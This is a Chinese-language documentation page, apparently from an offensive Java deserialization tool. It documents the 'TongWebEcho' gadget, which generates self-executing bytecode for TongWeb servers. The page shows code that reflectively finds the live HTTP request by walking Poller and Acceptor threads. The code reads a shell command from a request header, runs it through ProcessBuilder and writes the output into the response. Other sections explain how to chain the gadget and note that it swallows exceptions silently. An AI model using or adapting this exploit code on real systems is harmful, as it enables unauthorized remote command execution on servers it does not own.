Skip to content

Latest commit

 

History

History
88 lines (77 loc) · 5.78 KB

File metadata and controls

88 lines (77 loc) · 5.78 KB

生成 TongWeb 命令执行明文回显的字节码(TongWebEcho)

  • 类别:bytecode 别名:— 优先级:—
  • 作者:ReaJason
  • 依赖:无(生成的字节码仅依赖目标 TongWeb 运行时自身的类)

作用

生成一段“自执行”字节码:该类被目标 JVM 加载后,其静态初始化块自动实例化,构造函数遍历线程抓取东方通 TongWeb(6/7/8)当前正在处理的 HTTP 请求,从指定请求头读取命令、用 ProcessBuilder 执行,并把结果直接写回同一个响应流,实现无内存马的明文命令回显。是链尾 sink(END),用于替代单纯执行命令的 Exec

链接标签

  • 入口 tagsBytecode(本 gadget 产出的是原始字节码字节,可被 Bytecode 消费者装载)、Echo(回显类 sink)、END(链终点,其后不再有 gadget)。
  • 衔接 nextTags:空 —— 终点构件,不再向下衔接。
  • excludes:无。

源码剖析

gadget 本体极薄,只负责把模板类改写成携带用户参数的字节码:

@Param(name="请求头 key", description="执行命令的 Header 头")
public String header = "X-Authorization";

public byte[] getObject() throws Exception {
    JavassistHelper javassistHelper = new JavassistHelper(TongWebEchoBytecode.class);
    javassistHelper.modifyStringField("header", this.header);   // 把模板里的 static String header 改成用户值
    return javassistHelper.getBytecode();                        // 返回改写后的类字节
}

@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
    chain.doCreate(context);   // END 构件:调用内层仅为协议一致,返回值被丢弃
    return this.getObject();
}

JavassistHelperTongWebEchoBytecode.class 为模板,用 Javassist 把它的静态字段 header 常量替换为攻击者设定的值,再吐出 byte[] 类字节。这段字节最终由上游的字节码装载器(如 BytecodeConvertTemplatesImpl)在目标端 defineClass 并触发实例化。

真正的回显逻辑在模板类的构造函数中(被 static { new TongWebEchoBytecode(); } 自动触发):

// TongWebEchoBytecode.java(关键片段)
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
    Object poller = getFieldValue(thread, "target");
    String threadName = thread.getName();
    if (poller == null || (!threadName.contains("Poller") && !threadName.contains("Acceptor"))) continue;
    // 顺着 Poller/Acceptor 线程 -> handler -> global -> processors 拿到每个连接的 coyoteRequest
    Object requestGroupInfo = getFieldValue(getFieldValue(getFieldValue(poller,"this$0"),"handler"),"global");
    List processors = (List) getFieldValue(requestGroupInfo, "processors");
    for (Object processor : processors) {
        Object coyoteRequest = getFieldValue(processor, "req");
        if (tryWriteRes(coyoteRequest)) return;
    }
    // 备选路径:Poller 的 selector.keys -> attachment.currentProcessor.request
}
private boolean tryWriteRes(Object coyoteRequest) throws Exception {
    Object request  = invokeMethod(coyoteRequest, "getNote", new Class[]{int.class}, new Object[]{1});
    Object response = invokeMethod(request, "getResponse", null, null);
    String data = (String) invokeMethod(request, "getHeader", new Class[]{String.class}, new Object[]{header});
    if (data != null && !data.isEmpty()) {
        PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
        writer.write(this.run(data));   // 执行命令并写回
        writer.flush(); writer.close();
        return true;
    }
    return false;
}

run(data) 按操作系统拼 cmd.exe /c/bin/sh -c,用 new ProcessBuilder(cmd).redirectErrorStream(true).start() 执行,并用 Scanner(...).useDelimiter("\\A").next() 收全部输出。要点:

  • 线程扫描定位请求:TongWeb 基于 Tomcat Coyote 架构,通过 Poller/Acceptor 线程 → handler.global.processors 反射取到当前 coyoteRequest,再经 getNote(1) 拿到 Servlet 层 request;这是它区别于其它中间件 Echo 模板的关键。
  • 命令载体是请求头:命令写在名为 header(默认 X-Authorization)的请求头里,触发同一次请求即可回显,不落地、无需注册 filter/servlet。
  • 全程 try/catch 吞异常,加载失败静默返回,不影响其它 gadget。

参数(@Param)

字段 名称 说明 默认 可选值
header 请求头 key 承载待执行命令的 HTTP 请求头名 X-Authorization 任意合法头名

适用版本与原理要点

  • description 明确:适配 TongWeb 6/7/8 版本。反射字段路径(Poller/Acceptorhandler.global.processorsgetNote(1))与东方通对应版本的 Coyote 实现相关,跨大版本可能失效。
  • 明文回显:直接把命令输出写进当前响应体,与内存马不同,一次请求一次结果,不驻留。
  • 需要满足两点才能生效:字节码能被目标端加载并实例化(通常经 TemplatesImpl),且触发请求携带正确的 header 头。

所属预设链

自由构件,未直接出现在 51 条预设链中。用法:将“命令执行”类链(如 [BytecodeConvert, Exec])的 sink 从 Exec 换成 TongWebEcho,即从盲执行升级为带回显执行。

关联